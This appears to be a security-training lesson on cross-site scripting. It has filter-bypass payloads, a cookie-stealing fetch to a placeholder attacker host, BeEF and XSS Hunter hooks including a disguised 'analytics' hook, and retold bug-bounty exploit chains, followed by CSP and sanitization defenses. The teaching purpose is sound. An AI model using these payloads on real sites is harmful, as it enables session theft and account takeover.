Cross-Site Scripting
Turn User Input Into Browser-Based Attack Vectors
What You'll Discover
🎯 Why This Matters
Cross-Site Scripting consistently ranks in the OWASP Top 10 because it affects millions of web applications worldwide. XSS attacks let you execute JavaScript in victim browsers, leading to session hijacking, data theft, and complete account takeover. Modern web applications rely heavily on client-side JavaScript, making XSS one of the most critical vulnerabilities security experts need to understand.
🔍 What You'll Learn
You'll understand how to identify and exploit reflected, stored, and DOM-based XSS vulnerabilities using the same techniques that security experts use in real assessments. This includes crafting payloads that bypass modern security filters, using industry-standard tools like BeEF and XSS Hunter, and implementing proper defensive countermeasures.
🚀 Your First Win
In the next 10 minutes, you'll successfully execute a stored XSS attack that captures admin session cookies, demonstrating how seemingly harmless user input can lead to complete application compromise and administrative access.
🔧 Try This Right Now
Test this simple XSS payload in a comment field or search box
# Basic XSS test payload
<script>alert('XSS Test')</script>
# If that's blocked, try this filter bypass
<img src=x onerror=alert('XSS')>
# For advanced testing (session cookie capture)
<script>
fetch('http://<attacker>/collect?cookie=' + document.cookie);
</script>
# DOM-based XSS test (check URL fragment)
http://<target>/page.html#<img src=x onerror=alert(document.cookie)>
You'll see: How different XSS contexts require different payloads, and why systematic testing reveals vulnerabilities that basic scanners miss. This is the hands-on approach that separates security experts from automated tools.
Skills You'll Master
✅ Core Understanding
- XSS attack vectors and exploitation techniques
- JavaScript payload crafting and obfuscation
- Filter bypass methods and encoding techniques
- DOM manipulation and client-side exploitation
🔍 Expert Skills
- BeEF framework for post-exploitation
- XSS Hunter for blind vulnerability detection
- CSP bypass techniques and methodology
- Secure coding practices and defense implementation
Understanding XSS Vulnerabilities
XSS occurs when applications include untrusted data in web pages without proper validation or escaping
The fundamental issue is that web browsers can't distinguish between legitimate JavaScript and attacker-controlled code when both are served from the same domain. This same-origin trust model makes XSS particularly dangerous—your malicious script runs with full privileges of the vulnerable application.
Reflected XSS
Input is immediately returned in the response
# Search parameter reflected
GET /search?q=<script>alert(1)</script>
# Error message context
GET /login?error=<img src=x onerror=alert(1)>
Stored XSS
Payload persists in database or file storage
# Comment field storage
POST /comment
Content: <script>/* payload */</script>
# Profile field persistence
POST /profile
Name: <svg onload=alert(1)>
DOM-Based XSS
Client-side JavaScript processes untrusted data
# URL fragment exploitation
location.hash = "<img src=x onerror=alert(1)>"
# innerHTML sink usage
element.innerHTML = userInput;
Tools and Techniques
Security experts use a combination of manual payload crafting and specialized tools to discover and exploit XSS vulnerabilities effectively.
Manual Payload Crafting: The Expert Approach
Understanding how to manually craft XSS payloads is essential because it lets you adapt to different contexts and bypass specific filters that automated tools can't handle.
Filter Bypass Techniques
# Case manipulation to bypass simple filters
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
# Encoding techniques
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<img src=x onerror="alert(1)">
# Event handler obfuscation
<svg/onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
# JavaScript execution without script tags
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)"></object>
# Template literal and alternative syntax
<script>alert`1`</script>
<script>(alert)(1)</script>
These manual techniques work because they exploit specific parser behaviors and filter weaknesses that automated tools often miss, giving you the edge that separates expert testers.
BeEF Framework: Post-Exploitation Platform
BeEF (Browser Exploitation Framework) transforms simple XSS vulnerabilities into comprehensive browser compromise, providing the post-exploitation capabilities that demonstrate real-world impact.
BeEF Setup and Usage
# Install and start BeEF
git clone https://github.com/beefproject/beef.git
cd beef
./install
./beef
# Basic hook payload (inject via XSS)
<script src="http://[BEEF_SERVER]:3000/hook.js"></script>
# Minimal hook for space-constrained contexts
<script>$.getScript('http://hdna-beef:3000/hook.js')</script>
# Stealth hook with domain masquerading
<script>$.getScript('//legitimate-looking-domain.com/analytics.js')</script>
# Post-exploitation commands (via BeEF interface)
# - Screenshot capture
# - Credential harvesting
# - Network reconnaissance
# - Social engineering attacks
# - Persistence mechanisms
BeEF demonstrates why XSS isn't just about alert boxes—it's about complete browser compromise and the ability to perform complex attacks against authenticated users.
XSS Hunter: Blind Vulnerability Detection
XSS Hunter excels at finding blind XSS vulnerabilities—cases where your payload executes but you can't see immediate feedback, common in admin panels and background processing.
Blind XSS Detection
# XSS Hunter payload (replace with your subdomain)
"><script src=https://hackerdna.xss.ht></script>
# Alternative payload formats
<script>$.getScript("//hackerdna.xss.ht")</script>
<img src="//hackerdna.xss.ht/?cookie="+document.cookie>
# Contact form blind testing
Name: <script src=https://hackerdna.xss.ht></script>
Email: test@hackerdna.com
Message: Testing for XSS in admin panel
# Support ticket blind testing
Subject: <script src=https://hackerdna.xss.ht></script>
Description: Admin will review this ticket content
# File upload blind testing (SVG files)
<svg onload="$.getScript('https://hackerdna.xss.ht')"></svg>
XSS Hunter captures full context when your payload executes, including page source, cookies, and user information—critical for proving impact in security assessments.
Real-World Attack Scenarios
These verified bug bounty stories demonstrate actual XSS exploitation techniques used by security researchers, showing the systematic approach that achieves consistent results and substantial rewards.
Case 1: Facebook Stored XSS via File Upload - $3,500 USD
Security researcher Frans Rosén discovered a stored XSS vulnerability in Facebook's sharing system through a creative attack chain involving Dropbox file synchronization and Facebook's share functionality.
# Step 1: Create malicious filename in Dropbox
Filename: '"><img src=x onerror=alert(document.domain)>.txt
# Step 2: Share file from Dropbox to Facebook group
# Facebook's share system failed to escape the filename
# Step 3: Stored XSS triggered on share popup
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = '"><img src=x onerror=alert(document.domain)>
?...dynamic url parameters...'
</script>
# Step 4: Escalation to direct link attack
https://www.facebook.com/sharer/sharer.php?s=44&appid=210019893730
&p[0]=entry_id&p[1]=user_that_shared_it_first
Impact Assessment: The vulnerability allowed immediate JavaScript execution when users visited the malicious share link, affecting millions of Facebook users. The researcher also discovered the same vulnerability worked with Pinterest shares, demonstrating a systemic issue.
Case 2: Google Cloud Shell RCE via XSS - $5,000 USD
Security researcher @omespino escalated a simple XSS in Google Cloud Shell's markdown preview to complete root access on Google's cloud infrastructure.
# Malicious README.md in GitHub repository
<style onload="{
var file_results = []
// Escape container and get SSH private key
read_file('file:///../id_cloudshell')
// Get hostname for external connection
read_file('file:///etc/hostname')
setTimeout(function(){ send_files(file_results) },5000)
function read_file(file_to_read){
var get_file_id_url = 'https://' + location.host + '/files/?uri=' + file_to_read
fetch(get_file_id_url)
.then(response => response.json())
.then(json => {
var download_url = 'https://' + location.host + '/files/download/?id=' + json.id
fetch(download_url)
.then(response => response.text())
.then(text => file_results.push(file_to_read + ' ' + text))
})
}
}">
# Result: Extract private SSH key and hostname
# Final access: ssh -i id_cloudshell -p 6000 root@devshell-vm-[ID].cloudshell.dev
Business Risk: Complete compromise of Google Cloud Shell instances, allowing attackers root access to victims' cloud development environments containing sensitive code and credentials. The attack used the "Open in Cloud Shell" GitHub integration for social engineering.
Case 3: Complex Client-Side Chain Attack - $7,500 USD
Security researcher Vitor Falcao discovered a sophisticated client-side attack chain combining Client-Side Path Traversal, file upload bypass, OAuth login CSRF, and cookie bombing to achieve XSS on a high-profile target.
# Step 1: Client-Side Path Traversal (CSPT)
# Original: /categories/[number] → /api/v2/categories/[number].json
# Exploit: /categories/..%2Fmarketplace%2Ffiles%2F1234%3Fredirect%3Dtrue
# Step 2: Upload malicious JSON file (Pro membership required)
{
"title": "<script>/* First XSS - Cookie bomb victim */</script>",
"description": "<script>for(let i=0;i<50000;i++){document.cookie='check'+i+'='+i+';max-age=600;secure'}</script>"
}
# Step 3: OAuth Login CSRF to force victim into attacker account
# Intercept OAuth callback and force victim to consume attacker's code
# Step 4: Set specific path cookie for marketplace access
document.cookie = "Session=attackerToken; path=/api/marketplace/files/1234";
# Step 5: Second XSS payload for account takeover
{
"payload": "<script>fetch('/api/user/email',{method:'POST',body:JSON.stringify({email:'attacker@email.com'}),headers:{'Content-Type':'application/json','X-CSRF-Token':csrf_token}});</script>"
}
Attack Success Rate: This complex chain demonstrates advanced client-side exploitation techniques, combining multiple vulnerabilities to achieve account takeover despite modern security controls like CSP and HttpOnly cookies. The attack required significant user interaction but achieved high impact.
Defensive Countermeasures
Understanding defensive measures makes you a more effective attacker and helps you provide valuable remediation guidance to clients and development teams.
Content Security Policy (CSP): Primary Defense
CSP provides robust XSS protection by controlling which resources browsers can load and execute, effectively blocking most XSS attacks when properly implemented.
CSP Implementation Examples
# Strict CSP header (blocks most XSS)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
# Production-ready CSP with CDN support
Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
# CSP with nonce for inline scripts (secure approach)
Content-Security-Policy: script-src 'self' 'nonce-random123';
<script nonce="random123">/* legitimate inline code */</script>
# CSP violation reporting
Content-Security-Policy-Report-Only: default-src 'self';
report-uri https://example.com/csp-report;
CSP Bypass Techniques (Advanced)
- Script gadgets - Exploit legitimate scripts with unsafe sinks
- JSONP endpoints - Abuse existing JSONP callbacks
- Angular sandbox - Framework-specific bypass methods
- Base tag injection - Redirect relative URLs to attacker domain
Production-Ready Input Validation
Use established validation libraries that handle edge cases and provide comprehensive security features used by major companies worldwide.
Express.js with Helmet & Validation
// Install: npm install helmet express-validator express-rate-limit
const helmet = require('helmet');
const { body, validationResult } = require('express-validator');
const rateLimit = require('express-rate-limit');
// Apply security headers (used by Netflix, Airbnb)
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-" + nonce + "'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: { maxAge: 31536000, includeSubDomains: true },
noSniff: true,
frameguard: { action: 'deny' }
}));
// Rate limiting (prevents automated attacks)
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100 // limit each IP to 100 requests per windowMs
});
app.use('/api/', limiter);
// Input validation with express-validator
app.post('/comment',
body('content')
.isLength({ min: 1, max: 1000 })
.trim()
.escape() // HTML encode dangerous characters
.blacklist('<>"'),
body('email').isEmail().normalizeEmail(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Process validated input
}
);
Industry-Standard Sanitization
DOMPurify is the gold standard for HTML sanitization, trusted by Google, Microsoft, and other major tech companies for preventing XSS attacks.
DOMPurify Implementation
// Client-side: npm install dompurify
// Server-side: npm install isomorphic-dompurify
import DOMPurify from 'dompurify';
// Safe HTML rendering (blocks all XSS vectors)
const userInput = '<script>alert("XSS")</script><p>Safe content</p>';
const cleanHTML = DOMPurify.sanitize(userInput);
// Result: "<p>Safe content</p>"
// Strict mode (only specific tags allowed)
const strictClean = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: ['class', 'id']
});
// Production configuration (GitHub's approach)
const productionConfig = {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: [],
ALLOW_DATA_ATTR: false,
ALLOW_UNKNOWN_PROTOCOLS: false,
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
SANITIZE_DOM: true
};
// For React applications
function SafeHTML({ html }) {
const cleanHtml = DOMPurify.sanitize(html, productionConfig);
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
Framework-Specific Best Practices
Modern frameworks provide built-in XSS protection when used correctly. Here are production patterns used by major applications.
React (Facebook/Meta's Production Approach)
// ✅ SAFE: JSX automatically escapes
function UserComment({ comment }) {
return <p>{comment.text}</p>; // Auto-escaped, XSS safe
}
// ✅ SAFE: Using DOMPurify for rich content
import DOMPurify from 'dompurify';
function RichContent({ html }) {
const cleanHtml = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOWED_URI_REGEXP: /^https?:\/\//
});
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
// ❌ DANGEROUS: Never do this
function UnsafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}
Angular (Google's Security Model)
// ✅ SAFE: Angular's built-in sanitization
@Component({
template: `
<!-- Safe: automatic escaping -->
<p>{{ userComment }}</p>
<!-- Safe: Angular sanitizes HTML -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class SafeComponent {
constructor(private sanitizer: DomSanitizer) {}
trustedHtml = this.sanitizer.sanitize(
SecurityContext.HTML,
this.userProvidedHtml
);
// ❌ DANGEROUS: Bypassing sanitization
// this.sanitizer.bypassSecurityTrustHtml(userInput)
}
Node.js/Express (Production Template)
// Complete production setup (used by Stripe, Shopify)
const express = require('express');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const { body, query, param } = require('express-validator');
const DOMPurify = require('isomorphic-dompurify');
const app = express();
// Security middleware stack
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-random'"],
objectSrc: ["'none'"],
baseUri: ["'self'"]
}
}
}));
// API route with comprehensive validation
app.post('/api/content',
rateLimit({ windowMs: 60000, max: 10 }),
body('title').isLength({ max: 100 }).trim().escape(),
body('content').isLength({ max: 5000 }).custom(value => {
// Custom sanitization with DOMPurify
const clean = DOMPurify.sanitize(value);
if (clean !== value) {
throw new Error('Invalid HTML content detected');
}
return true;
}),
async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Process validated and sanitized content
}
);
🎯 You've Got XSS Down!
You now understand how to identify, exploit, and defend against Cross-Site Scripting vulnerabilities using the same systematic approach that security experts use. You can craft payloads, bypass filters, and use industry-standard tools to demonstrate real-world impact in security assessments.
Ready to Exploit Trust Between Browsers and Applications